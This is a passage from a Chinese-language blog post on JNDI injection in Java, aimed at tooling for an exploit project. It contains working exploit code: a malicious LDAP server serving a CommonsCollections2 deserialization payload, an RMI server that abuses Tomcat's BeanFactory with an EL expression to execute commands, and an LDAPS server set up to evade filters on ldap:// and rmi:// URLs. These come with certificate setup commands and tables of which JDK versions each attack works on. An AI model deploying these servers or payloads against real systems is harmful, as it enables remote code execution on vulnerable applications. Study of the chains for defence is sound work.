ds = new InMemoryDirectoryServer (config); Path path = Paths.get("D:\\javaCode\\RmiStudy\\cc2.ser" ); byte [] bytes = Files.readAllBytes(path); ds.add("dc=Exploit" , new Attribute ("javaClassName" ,"Exploit" ), new Attribute ("javaSerializedData" ,bytes) ); ds.startListening(); System.out.println("LDAP server started successfully..." ); System.out.println("LDAP server address is " +"ldap://" +ip+":" +port+"/dc=Exploit" ); } public static void main (String[] args) throws LDAPException, IOException { EvilLdapServerSerialize evilLdapServerSerialize = new EvilLdapServerSerialize ("127.0.0.1" ,389 ); evilLdapServerSerialize.start(); } }
这里的cc2.ser
是CC2的反序列化链,前提是所测试的环境必须要包含对应的漏洞组件。
1 2 3 4 5 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency >
为了验证是否触发了反序列化,在InvokerTransformer.transform()
方法上打个断电,然后运行JNDI lookup()
可以看到确实运行到了这里,最后也是弹出了喜闻乐见的计算器。
不同jdk版本的测试情况
jdk_version
JNDI+LDAP(serialize)
8u65
success
8u111
success
8u201
success
8u341
success
可见用JNDI触发反序列化的jdk版本几乎没有限制,但一定要包含存在反序列化漏洞的依赖。反序列化之所以不会有jdk高版本的限制是因为,反序列化并不会触发loadClass()
方法,也就不会触发检测。
在JNDI注入遇到高版本的JDK时,可以利用ysoserial生成payload后搭建恶意JNDI服务去测试。
JNDI+RMI(本地工厂类)
浅蓝师傅已经总结的够到位了,不再重复“抄”了,不过我会逐渐完善JNDIExploit中的利用链。https://b1ue.cn/archives/529.html
BeanFactory+EL表达式执行 在Tomcat的catalina.jar
中有一个org.apache.naming.factory.BeanFactory
类,这个类会把Reference
对象的className
属性作为类名去调用无参构造方法实例化一个对象。然后再从Reference
对象的Addrs参数集合中取得 AddrType 是 forceString 的 String 参数。
这里可以直接下载对应的tomcat进行调试,看一下JNDI攻击Tomcat本地工厂类过程,具体调试配置在之前的文章有介绍,这里使用的tomcat的版本是8.5.0
,使用高版本可能会失败,Tomcat7没有加入这个功能,而Tomcat高版本(9.0.63、8.5.79)移除了这个功能。
JNDI RMI SERVER
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package com.jndiTest;import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.NamingException;import javax.naming.StringRefAddr;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;public class RMIServer { public static void main (String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099 ); ResourceRef ref = new ResourceRef ("javax.el.ELProcessor" , null , "" , "" , true ,"org.apache.naming.factory.BeanFactory" ,null ); ref.add(new StringRefAddr ("forceString" , "x=eval" )); ref.add(new StringRefAddr ("x" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")" )); ReferenceWrapper refObjWrapper = new ReferenceWrapper (ref); registry.bind("Exploit" , refObjWrapper); } }
这里我debug了tomcat的源码,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package com.web;import java.io.IOException;import java.io.PrintWriter;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class jndiServlet extends HttpServlet { public jndiServlet () { } protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { String url = "rmi://127.0.0.1:1099/Exploit" ; InitialContext initialContext = new InitialContext (); initialContext.lookup(url); } catch (NamingException var5) { var5.printStackTrace(); } PrintWriter writer = resp.getWriter(); writer.write("<h1>this is jndiLookUp!</h1>" ); writer.flush(); } protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { this .doGet(req, resp); } }
访问该链接就会执行calc
可以看到这里将eval
方法放入了forced
变量中
最后调用了javax.el.ELProcessor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")
回过头来看BeanFactory
的这个RCE,核心代码其实就是将forceString
的值value取出,然后使用,
对value进行分割,之后再用=
再次分割。x
作为参数名,eval
就是方法名,注意这个方法必须只能有一个参数并且是String
类型,之后会调用到这个方法,方法参数就是ref
中参数名的值也就是ref.get('x')
1 2 ref.add(new StringRefAddr ("forceString" , "x=eval" )); ref.add(new StringRefAddr ("x" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")" ));
不难看出,其实本意就是用来调用set方法对属性赋值,但是由于对于用户的输入缺乏验证导致了RCE。
最后说一下为什么LDAP不能打这个BeanFactory
,是因为LDAP只能返回Reference,而BeanFactory需要的参数类型是ResourceRef。
而ResourceRef是继承自Reference,所以在RMI中可以用ReferenceWrapper对ResourceRef进行包装,从而触发该漏洞。
上面的图可以看到decodeReference最后返回的是Reference。其实还有其他的不同依赖环境的执行链,浅蓝师傅已经总结的很好了,这里不再“抄”了。之后可能还会继续更新JNDI利用工具的利用链。
JNDI+LDAPS(Reference)
https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
上面这个链接是P牛关于ldaps服务实现的文章,ldaps其实就是ldap+tls,就是外面套了一层。只要先tls握手成功,然后传输内容就可以。关于实现的话,可以参考p牛博客用一个套件用于处理tls数据包,然后将解密后的内容发给ldap恶意服务处理之后再将返回结果经过套件加密转发出去即可。
在chatgpt的加持下,可以比较简单的写出一个ldaps服务。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 public class LDAPSSLServer { public void start (String domain, Integer port,Integer httpPort,String keystorePath,String password) throws Exception { KeyStore keyStore; if (keystorePath.endsWith(".p12" )){ keyStore = KeyStore.getInstance("PKCS12" ); try (FileInputStream fis = new FileInputStream (keystorePath)) { keyStore.load(fis, password.toCharArray()); } } else if (keystorePath.endsWith(".jks" )) { keyStore = KeyStore.getInstance("JKS" ); try (FileInputStream fis = new FileInputStream (keystorePath)) { keyStore.load(fis, password.toCharArray()); } }else { System.out.println("keystore type not support!" ); return ; } KeyManagerFactory kmf = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm()); kmf.init(keyStore, password.toCharArray()); SSLContext sslContext = SSLContext.getInstance("TLS" ); sslContext.init(kmf.getKeyManagers(), null , null ); SSLServerSocketFactory sslServerSocketFactory = sslContext.getServerSocketFactory(); InitialDirContext initialDirContext1 = new InitialDirContext (); Attributes attributes = initialDirContext1.getAttributes("dns:ldaps.luc1fer.cn" , new String []{"A" }); String ip = attributes.get("a" ).toString().substring(3 ); InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig ("dc=Exploit" ); InMemoryListenerConfig ldapsListenConfig = InMemoryListenerConfig.createLDAPSConfig( "ldaps" , InetAddress.getByName(ip), port, sslServerSocketFactory, null ); config.setListenerConfigs(ldapsListenConfig); config.setSchema(null ); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); ds.startListening(); Reference reference = new Reference ("Exploit" , "Exploit" , "http://" + ip + ":" + httpPort + "/" ); Hashtable<Object, Object> env = new Hashtable <>(); env.put(Context.PROVIDER_URL,"ldaps://" +domain+":" +port); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory" ); InitialDirContext initialDirContext = new InitialDirContext (env); initialDirContext.rebind("dc=Exploit" ,reference); System.out.println("LDAP server started successfully..." ); System.out.println("LDAP server address is " +"ldaps://" +domain+":" +port+"/dc=Exploit" ); } }
ldaps其实是ldap+ssl,主要是为了提高数据传输的安全性,在尝试JNDI注入时,可能服务端检测JNDI地址是否包含ldap://
或者rmi://
等关键字符,这时可以使用ldaps://
进行绕过。在搭建ldaps服务时,需要准备一个自己的域名,比如ldaps.xxx.com解析到你的恶意服务器地址例如xxx.xxx.xxx.xxx。ldaps需要CA证书,可以到sslforfree 申请免费ssl证书。如果在sslforfree中签发的证书有三个文件certificate.crt、ca_bundle.crt、private.key。
创建PK12 KeyStore:
openssl pkcs12 -export -in certificate.crt -inkey private.key -certfile ca_bundle.crt -name server -out server.p12
由PK12 转换成为JKS(可选):
keytool -importkeystore -srckeystore server.p12 -srcstoretype PKCS12 -destkeystore server.keystore.jks -deststoretype JKS
在创建keystore时需要设置密码,之后就可以开启服务了,注意使用p12格式的keystore时要用jdk8u301以上版本,否则会报错,经测试8u341可以正常运行。ldaps本质上还是ldap+reference,所以jdk版本限制还是跟ldap一致。
jdk_version
JNDI+RMI
JNDI+LDAP
8u65
success
success
8u111
success
success
8u121
fail
success
8u201
fail
fail
JNDI+LDAPS(serialize) ldaps协议同样也可以配置反序列化,代码都已经写到项目中,不再赘述了。
github中该项目还在进一步完善中。由于篇幅原因,不再介绍其他内容,至于项目中如果用到新的有意思的内容会在之后的文章中介绍。